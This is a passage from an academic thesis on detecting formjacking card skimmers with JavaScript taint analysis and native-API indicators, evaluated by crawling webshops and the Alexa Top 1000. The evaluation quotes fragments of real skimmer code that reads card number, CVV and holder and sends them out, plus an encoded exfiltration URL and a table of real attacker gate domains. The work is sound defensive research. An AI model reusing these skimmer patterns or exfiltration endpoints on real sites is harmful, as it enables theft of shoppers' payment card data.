is possible to return the correct value, 1. The taint, however, is lost.

Instead, we resort to source code rewriting. Operations are converted to function calls, which do
support ‘overloading’. For example, x + y may be translated to add(x, y). We will then overload
the function ‘add’ to perform the addition operation and taint its output, if necessary.

6.4.1. Existing Solutions
Various publicly available solutions offer operator overloading support for JavaScript. Some also feature
support for taint analysis. We consider four libraries:

Sweet Virtual Values
Sweet Virtual Values [25] extends JavaScript proxies with additional traps, such that operations on
primitive values may be overloaded. In an accompanying paper, Kannan et al. [53] show that their
solution may be used to perform taint analysis. However, the focus of their solution is preventative:
offering security controls to the developer of an application. To guarantee the propagation of the taint
much wider syntax support is required than what this implementation offers. Examples of missing
features include support for dynamically generated code and for...in loops.

TaintFlow
TaintFlow [56] offers a framework to perform taint analysis and builds upon the popular JavaScript
compiler Babel [6] to perform operator overloading. The library’s support for operators is wide but
incomplete. Assignment operators such as += are, for example, unsupported.

Jetblack
Another solution that builds on Babel is ‘@jetblack/operator­overloading’ [8]. It supportsmost operators,
but unfortunately only performs “left­hand side” (LHS) operator overloading. To illustrate the problem,
x + y would be transformed into:
x !== undefined && x !== null && x[Symbol.for(”+”)] ? x[Symbol.for(”+”)](y) : x + y;

If x is undefined, the operation is not overloaded and x + y is executed as a fallback, failing to
propagate the taint to the result of the operation.
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Operator­overloading­js
Finally, the library ‘operator­overloading­js’ [63] supports almost all operators but suffers from a few
implementation issues. For example, the increment and decrement operators are supported but fail to
change the value of the given variable, resulting in a loop using i++ to run forever.

6.4.2. Implementation
As shown in the previous section, none of the evaluated solutions satisfy all requirements. We choose
the library that seems the easiest to modify, operator­overloading­js, and add support for the missing
features. With operator­overloading­js, rewriting a script is as simple as parsing the script to an abstract
syntax tree (AST) using some third­party library, performing the required modifications to the AST, and
transforming the AST to code using a third­party code generator. This process is illustrated in fig. 6.1.
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Figure 6.1: Illustration of the implemented JavaScript instrumentation pipeline for an input file that uses the (prefix) increment
operator. AST visualization based on the JavaScript AST visualizer [97].

Increment, Decrement, and Assignment
Tomake sure that increment, decrement and assignment operators also update their operand, we apply
the following source code transformations:

++i → i = __increment(i)

i++ → (old_i=i, i = __increment(i), old_i)

i += x → i = __addAssign(x)

The first transformation is illustrated in the example in fig. 6.1. This figure shows that to apply
this transformation we change every node in the AST of type ‘Update Expression’ to a node of type
‘Assignment Expression’ with the associated child nodes. We modify the AST in a very similar manner
for the other source code transformations.

In the second transformation, a sequence expression (i.e. a sequence of statements between paren­
theses) is used to return the value of i before the operation has been applied. An alternative, largely
equivalent solution to group the statements would have been to use an immediately invoked function
expression (IIFE) as Parameshwaran et al. [76] do. We prefer the sequence expression for its brevity.

The functions starting with two underscores are the functions that will be overloaded. Analogous
transformations are performed for the operators’ counterparts (­) and all other assignment operators
(such as *=).

Undefined Values
Undefined values and the strict equals operator (===) are supported by applying the following trans­
formation:
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undefined === ”str” → __tripleEquals(undefined, ”str”)

This works better than applying the operator on the given object, which may be undefined:
undefined === ”str” → undefined.__tripleEquals(”str”)

This also resolves the issue with the strict equals operator, whose given overload does not work
properly: in __tripleEquals one would use ‘this’ to refer to the left­hand side of the operation.
Unfortunately, in JavaScript, ‘typeof this’ does not necessarily equal ‘typeof LHS’.

Taint Propagation
The ability to overload JavaScript operators is used to ensure taint propagation by implementing the
overloaded operators. If any of the operands is tainted, the result of the operation will be tainted as
well. The addition operator overload, for example, is defined as:
function __plus(x, y) {

const z = untaint(x) + untaint(y));
if (isTainted(x) || isTainted(y)) {

return taint(z);
}
return z;

});

6.5. Property Access
The second part of the tainting solution requires propagating the taint when a property of a tainted
object is accessed. We consider two options: JavaScript proxies and an additional set of source code
transformations.

6.5.1. JavaScript Proxies
JavaScript proxies may seem like a viable approach to perform taint propagation without additional
source rewriting, but unfortunately, proxies do not allow returning arbitrary values. The following snippet
illustrates the problem:
proxy(”abc”)[0]

Where proxy is some custom function applying a JavaScript proxy to its arguments. The imple­
mentation of proxies in JavaScript requires one to return ’a’ in the above example. However, to
propagate a present taint new Tainted(’a’) should be returned.

6.5.2. Source Code Transformations
As JavaScript proxies are not a viable option, we resort to another set of source rewriting transforma­
tions:

someString[i] → __checkTaintProp(someString, i)

someObject.property → __checkTaintProp(someObject, ’property’)

The wrapper __checkTaintProp returns the property of the given object and taints it, if the object
in question is tainted. As for­loops also allow accessing properties, we rewrite them as follows:

for (x in y) → for (x of __unrollIn(y))

for (x of y) → for (x of __unrollOf(y))

Here the ‘unroll’ functions return an array of tainted properties if the object being iterated (y) is
tainted.

Whereas the previous transformations deal with ‘getting’ a property value, we should also cover
the case where one applies a ’setting’ operation on a possibly tainted object. We apply the following
transformation:

someArray[i] = x → __untaint(someArray)[i] = x;

Here someArray may be tainted. To modify the original value, we first untaint the given object.
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6.5.3. Exceptions
Native properties may behave differently and setting them may forcibly convert the tainted object to a
specific primitive. We augment the Tainted class with ‘toString’, ‘valueOf’, and ‘toJSON’ functions, such
that these unintended conversions may be monitored.

An interesting exception is ‘document.cookie’, which silently ignores a tainted, non­primitive string
object:

document.cookie = new Tainted(”CC_NUMBER”);

document.cookie;
> ””

As a generally applicable solution, it would be possible to introduce additional source code trans­
formations to avoid storing the taint on the property, but on the parent object. For example:

document.cookie = ”CC_NUMBER”;
document.__cookieIsTainted = true;

This could, however, create inconsistent behavior with the default implementation of Object.
defineProperty, Object.keys and others. To avoid additional workarounds we override the get­
ters and setters of ‘document.cookie’ to support tainted objects.

6.6. Native Function Calls
The last part of the tainting solution required to guarantee taint propagation is dealing with native func­
tion calls. This could be done without any source rewriting by applying prototype patching. However,
this requires explicitly selecting a set of to be overridden methods. The alternative is to rewrite func­
tion calls to support tainted arguments, which generalizes better. To that end we perform the following
transformation:

window.btoa(arguments) → __checkTaint(window, ’btoa’, arguments)

The __checkTaint wrapper function untaints any tainted arguments before calling the given func­
tion. If any of the arguments have a taint, the output of the function will be tainted as well. We also
taint the output if the parent object carries a taint. This is, for example, useful to make sure a taint
propagates ‘through’ a call to toString.

Note that the function is not referenced explicitly (window.btoa), but indirectly by supplying the
object, window, and the corresponding property, ‘btoa’, separately. This is necessary, because a
separate reference to the object is required to supply the correct ‘this’ to the function call. As this object
may be the result of some other operation it should not be repeated. The following example that directly
supplies a reference to the to­be­executed function illustrates the issue:

(x + 1).toString() → __checkTaint((x + 1), (x + 1).toString)

Given let x = 0 the expected result would be 1, whereas the naive instrumentation gives us 2.

6.6.1. Non­native Function Calls
By transforming all function calls we are also untainting the arguments of non­native functions. This is
problematic. For example:

function nonNativeFunction(value) {
window.shouldBeTainted = value;

}
nonNativeFunction(new Tainted(99)); // __checkTaint(..., nonNativeFunction, new Tainted(99))

isTainted(window.shouldBeTainted)
> false

Therefore, non­native function calls have to be excluded. This information is not available at tran­
spile time, i.e. when the source code transformations are applied. As such we resort to a runtime check,
in __checkTaint, as to whether the given function is native.
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6.6.2. Collections and Storage
Not all native functions perform a conversion from input to output, as btoa does. This becomes prob­
lematic if the functionality is storage related. An object may contain a tainted value, but we are unable
to identify that. This holds, for example, for arrays:

let tainted = new Tainted(”CC_NUMBER”);
let array = [];
array.push(tainted);
isTainted(array)
> false

We identify two solutions: tainting the parent object or a recursive check.

Tainting the Parent Object
We may identify the problematic functions and instead taint the parent object (i.e. array). As a con­
sequence, any property of the parent object will become tainted when queried. Some of them will be
erroneously tainted, possibly leading to a misclassification of a script as a formjacker. This we wish to
avoid.

As a solution, additional information may be added to the parent object identifying the specific prop­
erty that is tainted. In this case, the implementation of Array would have to be adapted to support this,
for example push and shift. Doing this is deemed too involved.

Recursive Check
Instead, we may sacrifice runtime efficiency and change the ‘isTainted’ function to recursively check
every property (or index) of the given object. In this case, the instrumented call to push should not
untaint its arguments. This means that this approach only supports native functionality that can store
objects, and not just primitives, as in the tainting process primitives are ‘upgraded’ to objects.

Implementation
We opt for the recursive check. Typical native objects that may hold data (Array, Set and Storage)
are blacklisted and their arguments are not untainted by the __checkTaint wrapper. We thus choose
not to support all native ‘storage related’ functionality, as some do not support storing a tainted value.
Instead, we rely on the ‘valueOf’, ‘toString’, and ‘toJSON’ of tainted values, such that unsupported
native object (e.g. Uint8Array) converting the tainted value to a supported primitive are logged.

An exception is the unsupported native objects related to local and session storage. We deem these
quite likely to be used by formjackers. As a solution we override the ‘setItem’ and ‘getItem’ methods
of localStorage and sessionStorage. By default, these functions only support primitive strings.
Therefore, the overridden methods keep track of taint strings by appending and removing a specific
string, marking the given string as tainted.

As a runtime optimization, we limit the recursive ‘is tainted check’ to a depth of 5.

6.7. Sinks and Sources
Finally, to monitor for exfiltration of tainted data, functions that may be used to establish a network
connection are overridden (see table 6.1). If the overridden function finds one of its arguments to
be tainted, a data exfiltration attempt with the corresponding URL is logged. After this check, the
overridden function calls the original method as to not change the semantics of the application.

The list in table 6.1 is not exhaustive. We have limited ourselves to three types of resources: scripts,
images, and stylesheets. These may be considered the three ‘basic elements’ of a website, but many
others exist, such as audio, iframe, and object.

Then, to taint data that is extracted from the page, we define two taint sources: the ‘value’ attribute
getters of HTMLInputElement and HTMLTextAreaElement. We update the override for these get­
ters and taint any value that is retrieved.

6.8. Implementation Details
Finally, we cover some details of the data exfiltration detection implementation.
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Table 6.1: Monitored exfiltration functions. The phrase ‘constructor’ marks that the specified object when used as a constructor
could be an exfiltration method.

Object Method
HTMLScriptElement src
HTMLImageElement src, srcset
HTMLLinkElement href
XMLHTTPRequest open, send, setRequestHeader
WebSocket send, constructor
EventSource constructor
Window fetch

Validation
All overloaded operators are tested individually to verify that their output is the same as the original
operator. Furthermore, we verify that tainting one of the two operands leads to a tainted value with the
right ‘original value’. Similarly, all the other transformations to perform taint propagation as described
in this chapter are also translated into unit tests.

Third­party Libraries
Instead of the original ‘operator­overloading­js’ library, we use a slightly altered version [43] that uses a
dedicated AST traversal library which resolves some overloading issues. Additionally, we switch from
the JavaScript parser Esprima [50] to Acorn [4], which supports the latest ECMAScript version (11).

Special Characters
The used code generator introduces an issue with special characters that are not encodable using
Base64. This encoding is used when rewriting an already encoded response from a server. The issue
is introduced because the code generator replaces the (encodable) escape sequence, for example,
’\u0190’, with the actual (unencodable) character ‘𝜖’. As a work­a­round these “special” characters
are translated back into their escape sequence, using a string replacement operation, after generating
the code.

Truthy
Tainting a value makes the result ‘truthy’ as it becomes an object. This means that where
if(false)

results in a branch­not­taken, a tainted value results in a branch­taken:
if(taint(false)) {

console.log(’branch­taken’);
}
< branch­taken

As a partial solution, primitive values that are difficult to use to exfiltrate data with (undefined, null,
true, and false) are not tainted. Future work may wish to implement additional source code rewriting to
fully resolve this issue.

Subresource Integrity
As requests are intercepted and rewritten, subresource integrity checks fail: resources whose hash
does not match the given one are blocked by the browser. As a partial solution, we remove the static
integrity attributes in the HTML, as the request pertaining to this document is intercepted. It is also
possible to dynamically set the integrity attribute of resources, these are not dealt with.

6.9. Discussion
Let us revisit the requirements from section 6.1 and discuss whether they are met by the proposed
taint analysis solution. First, we argued that the tainting solution should instrument JavaScript on the
fly. We are able to do so by using a hybrid method: Puppeteer functions as a proxy and dynamically
generated code is instrumented using the debugger.
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Dynamically Generated Code Instrumentation

To overload dynamically generated scripts we are setting an instrumentation breakpoint before
script execution, editing the script’s content ‘live’, before continuing. Unfortunately, script re­
placement, in combination with an IIFE breaks the scope of certain invocations of ‘eval’. An
example:
var a = ’test’;

eval(’a’);
> ’test’

eval(’(function () { return a })()’);
> Uncaught ReferenceError: a is not defined

As a solution the instrumentation may be performed inside the browser, avoiding the use of the
instrumentation breakpoints.
eval(’a’); → eval(overload(’a’));

Figure 6.2: Instrumenting dynamically generated code may break the scope of certain evocations of ‘eval’.

Second, we noted that the instrumentation should preserve the script’s semantics. We implement
support for a wide range of operators, but it is not exhaustive: the ‘typeof’ operator and modern ES6
syntax such as the spread operator are not supported. Furthermore, as highlighted in fig. 6.2, the
instrumentation may break some invocations of ‘eval’. Similarly, as described before, truthy tainted
values and dynamically added subresource integrity attributes may be problematic. These exceptions
mean that the tainting instrumentation may change the behavior of the script, possibly even to the
extent that a possible formjacker is no longer functional and therefore stays undetected.

The same may be said about the third and the fourth requirement. The third requirement stipulated
that the instrumentation should be taint preserving. Although we implement support for the ‘common
case’, we do not offer full syntax support, and taint propagation is not guaranteed with various collec­
tions, such as Map and Uint8Array. Similarly, the fourth requirement states that the instrumentation
should monitor for the exfiltration of extracted data. Again we cover the common case: value retrieval.
However, as shown in section 4.5, it is theoretically also possible to perform data extraction without
this method.

Finally, the fifth requirement states that we should not violate any of the prior requirements regarding
eliciting malicious behavior in formjackers. We, however, violate requirement 5 (’satisfy client­side
checks’), because we are rewriting source code. Curious JavaScript could detect these changes, for
example by verifying stack traces. It should be noted that we violate this requirement on purpose
because, as noted in section 5.6.2, source code rewriting is our only viable approach to include tainting
instrumentation.

In summary, the tainting solution covers the scenarios we deem most likely, but some applications
or formjackers may exist that evade detection. Most issues seem resolvable by expanding on the scope
of the instrumentation.





7
Evaluation

In previous chapters, we have implemented a dynamic detection solution for formjackers. In this chap­
ter, we evaluate the effectiveness of this solution. We wish to use our findings to conclude on research
question 2: the extent to which dynamic analysis may be a feasible approach to detect formjackers.
We cover the two types of dynamic analysis that have been implemented. First, monitoring the use
of native API, in section 7.1. Second, detecting data exfiltration using taint analysis, in section 7.2.
Thereafter, we compare the two implementations in terms of runtime performance and reliability, in
section 7.3. Finally, we discuss and summarize our findings in section 7.4.

7.1. Native API Usage
To study the effectiveness of the chosen indicators and the feasibility of native API usage as a detection
mechanism for formjackers, we perform two crawls: a ‘benign’ set (the Alexa Top 1000) and a large
sample of webshops.

7.1.1. Alexa Top 1000
In chapter 5 four uses of native API were identified that may be indicative of the presence of a formjacker
on a website. By studying a (largely) benign set of websites, we explore the extent to which these
indicators are indeed unique to formjackers.

Methodology
As the benign set, we choose the Alexa Top 1000 with the underlying assumption that the most popular
websites are unlikely to contain a formjacker. The set is crawled on the 29th of October 2020 using a
custom build of Chromium 84.0.4109.0. Using two parallel browser instances the thousand websites
are crawled in a random order in a little over 3 hours (on average 11 s/page).

For 75% of the URLs, a dynamic analysis report is successfully retrieved. The remaining 25% may
largely be divided into three categories. 12 percent point fails to load within two minutes. This may
be an issue with the crawler (e.g. instrumentation or stealthiness), but quite common, too, is that the
webserver in question is slow. 9 percent point of the failures is caused by a navigation that is triggered
from inside the page that crashes the automation framework. The last 4 percent point largely consists
of domains that cannot be resolved, or where the server does not respond within 25 seconds and
is presumed to be offline. We study the prevalence of the chosen indicators on the remaining 745
websites.

Value Access
As shown in fig. 7.1, for 83% of the URLs some script on the page is found to access the value of some
field (input or textarea). Upon closer inspection, it appears the omnipresent JavaScript library jQuery
is responsible for most of these queries as part of its initialization [51]:
var input = document.createElement( ”input” ),

/* ... */
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Figure 7.1: Number of URLs from the Alexa Top 1000 whose analysis profile contains a given indicator.

// Support: Android <=4.3 only
// Default value for a checkbox should be ”on”
support.checkOn = input.value !== ””;

As jQuery injects its own fields for this check, we remove value accesses to fields that have not
been injected by the payment page simulation. In that case, 16% of the URLs access some data inside
a field. As the presence of 118 formjackers in the Alexa Top 1000 is rather unlikely, we conclude that
accessing data in a field on the page is not a distinguishing feature for formjackers.

Other Indicators
44 pages (6%) of the pages perform a query on the URL (location) of the page that is classified as
suspicious, querying for checkout­related strings. As e­commerce platforms are not explicitly targeted,
this number is relatively high and may indicate that suspicious location queries are not as characterizing
as hypothesized.

Only 7 pages (1%) perform a query that we classify as being ‘suspicious’: querying for fields with a
credit card­related name, class, or id. Just 5 pages (1%) perform a Firebug DevTools check. Because
these occur so infrequently, they may be malicious – even within our ‘benign’ set. Without a manual
analysis of these pages, we cannot conclude with certainty that these checks are not performed in a
malicious context.

7.1.2. Webshops
Instead, we survey a set of webshops to evaluate the effectiveness of these indicators. We choose
webshops as they seem the most probable target for formjackers.

Methodology
A set of 72,991 URLs labeled as an e­commerce platform is retrieved from RiskIQ Community [83].
These are visited using the developed crawler on the 8th of June 2020. An analysis profile is retrieved
for 82% of the URLs (59,863). The largest portion of failed retrievals (12 percent point of the failing
18%) consists of server­related issues, such as non­resolvable domains or unresponsive servers.

As value access did not appear to be a reliable indicator in itself, we instead use it to filter out web­
sites that are most likely not performing any data extraction. Out of the 8,016 pages (13%) that remain,
13 trigger ‘window.Firebug’, 46 perform a suspicious element query and 475 perform a suspicious lo­
cation query. We randomly sample five pages from each ‘bucket’ and manually analyze the result. An
overview is given in table 7.1.
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Table 7.1: Subsample of websites that have triggered some native API formjacker indicator. The last column displays our verdict
as to whether we believe the indicator to be triggered by a formjacker.

Indicator URL Formjacker?
firebug freecitysupershop.com probably
firebug modelodrive.com yes
firebug carboncreations.com yes
firebug glassvasesdepot.com yes
firebug crystalplace.com probably
element query shoprachelzoe.com yes
element query nashvillek9university.com no
element query netsmartzpakistan.com no
element query adrianemiller.com probably not
element query iq2labs.com probably not
location query moerie.com probably not
location query dreamvape.uk probably not
location query kalicycles.info uncertain
location query radixmedia.org probably not
location query blogdacarne.com probably not

Firebug (5/5)
On freecitysupershop.com, the suspicious script, responsible for the indicator trigger, is a ‘dynamic
script loader’: after passing certain checks it dynamically loads the remainder of the script. The present
obfuscation, ‘screen size’ debugger detection check, and the check on the URL for ‘checkout’ do sug­
gest a formjacker. This cannot be confirmed, as the dynamic load did not succeed, probably because
the given resource was offline. Additional evidence is supplied by two other scripts we find on the site
which are most certainly formjackers. These did not perform a Firebug check but do indicate the site
was vulnerable and the script in question may very well have been a formjacker.

On two sites, modelodrive.com and carboncreations.com, the suspicious script is also a dynamic
script loader. It first performs a ‘screen size’ check and then loads the formjacker from a third­party
domain: https://jquerycdn.at/1234.js, meant to look inconspicuous. The formjacker also shows code to
exfiltrate the data, to the ‘gate’ at https://jquerycdn.at/gate.php. The formjacker does not try to hide its
intentions:
$s.PutForm();
$s.SaveAllFields();
$s.GetCCInfo();
if ($s.Data[’Number’] === undefined || $s.Data[’Number’].length < 11) return;
if ($s.Data[’Holder’] === undefined || $s.Data[’Holder’].length == 0) return;
if ($s.Data[’Date’] === undefined || $s.Data[’Date’].length == 0) return;
if ($s.Data[’CVV’] === undefined || $s.Data[’CVV’].length < 3) return;
$s.SendData();

On glassvasesdepot.com the suspicious script appears to be a ‘complete’ formjacker: without any
dynamic script loading. It is obfuscated but references similar functions as above: ‘SaveAllFields’ and
‘TrySend’. It seems likely to be a similar formjacker or at least a variant based on it. The dynamic
analysis profile confirms data extraction.

On crystalplace.com, the suspicious script is loaded from some other small business’ site (fly­
cam.com.tr). The script is obfuscated and in the dynamic analysis profile, we find multiple checks on
the URL’s path (e.g. for ‘onestepcheckout’) and evidence for data extraction. These three observations
strongly indicate the script being a formjacker.

Suspicious Element Queries (1/5)
On shoprachelzoe.com, the suspicious script queries for ’ei_stripe­card­cvc’. It is indeed a
formjacker, and, although obfuscated, appears very similar to the ‘SaveAllFields’ variant from above:
$s.SaveAllFields();
$s.GetCCInfo();
if ($s[_0xe98d[146]][_0xe98d[28]] === undefined || $s[_0xe98d[146]][_0xe98d[28]][_0xe98d[24]]

< 11) {
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return
};
// ...

On nashvillek9university.com, the suspicious script performs various credit card­related queries
(’AccountNumber’ and ‘CVV’). Its intentions, however, appear to be benign: although data is extracted
from the page it is not processed nor exfiltrated.

On netsmartzpakistan.com, the trigger seems to be a false positive as the keyword ‘cvc’ occurs in
some string unrelated to credit card details (e.g. TABLE#cvct_states_table_id).

On adrianemiller.com, the script queries for ’card­cvc’. It also performs data extraction and
processing of the acquired data. However, the script appears relatively benign: it is not obfuscated
and none of the other indicators trigger. The fact that it is probably benign is confirmed by the original
version of the script [36], where we find the same query. We conclude that the only difference between
a benign payment­related script like this and a malicious formjacker is where the credit card data ends
up. This is not entirely straightforward to identify.

On iq2labs.com, the script queries for an element with id ’wc­authorize­net­aim­account
­number’ and retrieves the field’s value. But otherwise, it appears benign: the value is not used
anywhere. Confirming this with manual, static analysis is, however, a time­consuming task.

Suspicious Location Queries (0/5)
On moerie.com, multiple scripts query for the checkout­related strings on the page’s URL. As the anal­
ysis profile does not show any credit card­related data extraction, this behavior appears benign. This
also holds for dreamvape.uk.

Four different scripts perform a suspicious location query on kalicycles.info, but none of them is
recorded performing data extraction. Two other scripts on the site, partly obfuscated, do perform data
exfiltration. Unfortunately, due to their convoluted nature, we are unable to identify whether or not these
are indeed formjackers.

On radixmedia.org, the behavior seems benign: it ignores a specific checkout­related URL (versus
targeting one). And finally, on blogdacarne.com, the script checks for ‘onestepcheckout’ and performs
some form of data exfiltration. As the latter does not appear to be credit card related, this behavior
does not seem malicious, either.

7.1.3. Discussion
The aforementioned results show that it is possible to detect formjackers using the implemented dy­
namic analysis solution. Resorting to data extraction detection as an indicator for formjackers seems
to be insufficient, as accessing the content of fields is a common behavior in scripts. Instead, we use
the indicator to reduce the set of investigated websites to roughly a tenth of its original size.

As we manually study a small sample of analysis reports, we cannot report on the effectiveness of
the additional indicators with high confidence. That said, suspicious queries and suspicious location
queries certainly suffer from false positives, and they do not seem to be as uniquely identifying as
hypothesized. An interesting exception seems to be the Firebug indicator, whose presence seems to
correlate well with the presence of formjackers on e­commerce platforms. It should be noted, however,
that it is an indicator, not proof, as to the presence of a formjacker.

The implemented approach does not fully cover all methods to create a formjacker. Even in its
narrow field of view it falsely identifies a lot of scripts. There are significant improvements that may be
made on this limited approach, but fundamentally something important is missing: proof. Instead of
improving on this approach, we will evaluate a possible solution for this issue.

7.2. Data Exfiltration Detection
To study the effectiveness of applying taint analysis to detect data exfiltration in formjackers, we perform
two crawls: a benign set to study false positives and a sample of compromised webshops to study false
negatives.

7.2.1. Alexa Top 1000
For the benign set, we again resort to the Alexa Top 1000. We take a subset of websites and analyze
the cases where our data exfiltration detection solution logs an attempt to exfiltrate tainted data.
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Table 7.2: Detected data exfiltration attempts within 250 URLs from the Alexa Top 1000. Long URLs have been truncated.

URL exfiltration location
wordreference.com www.wordreference.com/2012/autocomplete/autocomplete.

aspx?dict=esen&query=4094701755683101
amazon.co.uk amazon.co.uk/rd/uedata?at&v=0.214436.0&id=

KDA8BK4TBGE5QDC5WRSQ&m=1&sc=adblk_no&pc=543&at=543&t=...
fls­eu.amazon.co.uk/1/batch/1/OP/A1F83G8C2ARO7P
:258­3356001­1471421:KDA8BK4TBGE5QDC5WRSQ$uedata=...

Methodology
We randomly select 250 URLs from the ‘benign’ Alexa Top 1000. These URLs are crawled on the
25th of October 2020 using the same setup from section 7.1 in a little over 1 hour (on average 17
s/page). In 66% of the URLs, a dynamic analysis report is successfully retrieved. A larger portion of
the pages, 18 percent point, now fails to load within two minutes. Out of the 166 retrieved analysis
profiles, 2 websites (amazon.co.uk and wordreference.com) use an exfiltration sink to exfiltrate some
tainted data. We study both.

Results
Both pertain to ‘first­party’ exfiltration, i.e. exfiltration to the domain that is targeted by the crawler.
As, therefore, these websites would not have been classified as a formjacker, this crawl did not yield
any false positives. However, the script on wordreference.com serves as a reminder that there are
legitimate applications for data extraction and data exfiltration:
addEvent(that, ”keydown”, that.keydownHandler), that.keyupHandler = function(e) {

/* ... */
var val = deaccent(that.value);
/* ... */
o.source(val, suggest)
/* ... */

}

/* ... */

source: function(term, suggest) {
/* ... */
httpRequest.open(”GET”, self._mainUrl + ”?dict=” + currentDictionary + ”&query=” +

encodeURIComponent(term) + whichConjugator())
/* ... */

}

Even if the data was exfiltrated to some third party, this behavior would not have been malicious
per se. This depends on the intention the user has when filling out the field that is referred to with the
variable ‘that’. As such, we conclude that, when scaling up, false positives may be expected.

7.2.2. Webshops
Aside from false positives, we are also interested in the number of false negatives. To that end, we
analyze a set of compromised webshops to determine the effectiveness of the data exfiltration­based
detection solution. We analyze the present formjackers and show where our implementation may be
improved.

Methodology
A set of 374,249 URLs labeled as an e­commerce platform is retrieved from RiskIQ Community [83].
These are visited at the end of June, beginning of July 2020. We identify potential formjackers using
the native indicator from section 7.1 that appears to be most effective: ‘window.Firebug’. On 339
URLs a query to this property is logged. We manually evaluate a portion of this set and identify 56
different formjacker scripts (based on their hash) on 115 different URLs. We recrawl these 115 URLs
four months later, on the 3rd of November 2020. On 31 URLs (15 unique hashes) the same formjacker
is still present.

By relying on a single indicator we are only seeing a portion of the formjackers. Furthermore, the
way the formjackers are obtained inherently introduces a bias. For one, there may be less variability
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between the scripts. As a solution, we manually analyze, describe and classify them. We identify which
scripts are slightly different variants of the same formjacker and whether the same building blocks may
have been used by another formjacker. The long period between identification and analysis may further
bias the dataset towards infrequently updated ones. As, finally, the dataset is also relatively small, we
have to be careful with drawing any hard conclusions.

As an alternative, we may have surveyed publicly reported formjackers. This approach is not ideal,
because after a public report the formjacker may be cleaned up. Our approach allows identifying
formjackers there are still online and is thus well suited to study the interaction of the detection solution
with real­world JavaScript.

The results are summarized in table 7.3. A checkmark in the first column indicates that the data
exfiltration detection was successful. The second column shows the type of formjacker the script has
been (manually) classified to. The third column shows an identifier for the different scripts. This identifier
is constructed using the first four characters of the script’s hash. The fourth column shows the URL
that was crawled. Finally, the fifth, most right column shows the exfiltration location that was detected.
If the detection failed, a short description of the issue is given. Where possible, the table has been
complemented by manually determining the exfiltration location. Those entries are marked with a ‘*’.

Implementation Issues
The tests highlight some implementation issues, unrelated to formjackers. We resolve these issues
before analyzing the results in detail. First, we catch illegal invocations in the recursive ‘is tainted’
check. This may be required because some properties may only be accessed on a specific instance,
not on its prototype (e.g. Event.prototype.type). Second, we cache references to used native function­
ality, because we find these implementations to be overwritten by real­world JavaScript. For example,
prototype.js [95] that reimplements, among others, Array.from. As these reimplementations are also
instrumented, an infinite recursion is introduced.

Detected Formjackers
The top half of table 7.3 is occupied by three different formjackers on 16 domains. These formjackers
are detected by the data exfiltration detection solution, in that the analysis profile of at least one of their
variants contains a data exfiltration entry. We study these formjackers individually.

gIoRNY On eight sites we find four variants of the same formjacker (5d82, fa68, a1f7, and a1de).
Apart from some variable or function names the only difference between the four is their exfiltration
location. In its front­end initialization phase, the formjacker performs some detection evasion in the form
of a ‘screen size’ DevTools check. Additionally, the formjacker verifies that the current URL contains
‘checkout’. On an interval, it triggers data exfiltration. It then queries for all input and select elements
on the page. Elements with a specific id or name are ignored and only specific select elements are
stored. After a basic data validation step on the length of the retrieved values, the data is exfiltrated by
the formjacker. It appends a small image to the page with the stringified data as its URL parameter, for
example:
https://akrapovic­auspuff.net/api.php?image_id=eyJpZE1DNDFPRE0yTlRBMV84IjoiNDA5NDcwMTc1NT...

The payment page simulation works sufficiently to elicit malicious behavior, as it bypasses the URL
and data validation. The taint is propagated through a custom encoding mechanism and finally triggers
a data exfiltration log when the image source­sink is used. On six of the eight websites, the formjacker
is detected, as shown in table 7.3. The exfiltration addresses include three “legitimate lookalikes”.

From the two that remain undetected, one formjackers fails to reach data exfiltration because it
contains a typo:
atob(”ahr0chm6ly9klxnxdwfyzwquy29tl3dwlwrhdgevdmfsawrhdglvbi5waha===”) + ”?image_id=” + ...
< Uncaught DOMException: Failed to execute ’atob’ on ’Window’: The string to be decoded is

not correctly encoded.

The other website does not finish loading within the set time limit. Temporarily making the recursive
‘is tainted’ check non­recursive, resolves this. It is not entirely surprising that the recursive nature of
the check causes issues on some sites: objects with many properties or arrays with many items are
iterated through unbounded.
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Table 7.3: Overview of studied formjackers. A checkmark in the first column indicates successful detection of data exfiltration.
The id identifies different variants of the same formjacker and is constructed from the first four characters of the script’s hash.
The last column shows the detected exfiltration location and/or a short description of the issue. Locations marked with a ‘*’ have
been manually determined.

Formjacker id URL exfiltration location
✓ gIoRNY 5d82 evotech­shop.de https://akrapovic­auspuff.net/api.php
✓ gIoRNY 5d82 jr­luftfilter.de https://akrapovic­auspuff.net/api.php,

https://mygoogletagmanager.org/ns.php
✓ gIoRNY 5d82 moto­technik.com https://akrapovic­auspuff.net/api.php
✓ gIoRNY 5d82 pipercross­luftfilter.de https://akrapovic­auspuff.net/api.php

gIoRNY a1de timelyclassics.com faulty formjacker
✓ gIoRNY a1f7 hdridez.com http://google­analyitics.org/ga/ga.php

gIoRNY a1f7 londongadgetstore.co.uk timeout
✓ gIoRNY fa68 auralinebeauty.com https://auralinebeautiy.com/api.php
✓ WebSocket 018d cdn.inflatable­zone.com wss://www.zendesksupp.com/V1/api*
✓ WebSocket 018d inflatable­zone.com wss://www.zendesksupp.com/V1/api*
✓ __data1 aa75 asaplinen.com https://waveplumbing.com/magento/skin/install/media/

__data1 aa75 dynamitetoolco.com initial values
__data1 aa75 dynamitet(...)kpathdns.com initial values
__data1 aee5 brightbaits.com initial values

✓ __data1 ef38 costumesrock.com https://allegrolearnings.com/blogs/media/
✓ __data1 ef38 dresscostume.com https://allegrolearnings.com/blogs/media/
✓ __data1 ef38 funwirks.com https://allegrolearnings.com/blogs/media/

print.js 88ad aprilflowerscork.ie offline
print.js 88ad blundellflorist.co.uk offline
print.js 88ad floralessence.ie offline
print.js 88ad flowerbowl.co.uk offline
print.js 88ad georgeprestonflorist.co.uk offline
print.js 88ad gilesflorist.co.uk offline
mcdnn.me cbe3 hadleyrose.co.uk offline, timeout
mcdnn.me f4a0 extremeaudio.de offline
SaveAllFields 2bd1 silverphoenix(...)alarts.com greedy, https://apis­analytics.com/testify*
SaveAllFields 6b5b cheapcanada(...)outlet.com greedy, https://www.jquery­script.icu/gate*
SaveAllFields fc5b changeroomshop.com.au greedy, timeout, https://www.jquery­script.icu/gate*
SaveAllFields fc5b changeroomshop.com greedy, timeout, https://www.jquery­script.icu/gate*
removeCookie 5c7c glamulet.com client­side checks, faulty formjacker
removeCookie 5c7c glamulet.co.uk client­side checks, faulty formjacker
FormData a157 hadleyrose.co.uk FormData, https://www.hadleyrose.co.uk/­

checkout/onepage/savePayment/*
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WebSocket On inflatable­zone.com we find a formjacker (018d) that applies three layers of obfus­
cation. In its front­end initialization phase, it performs two types of detection evasion: a ‘screen size’
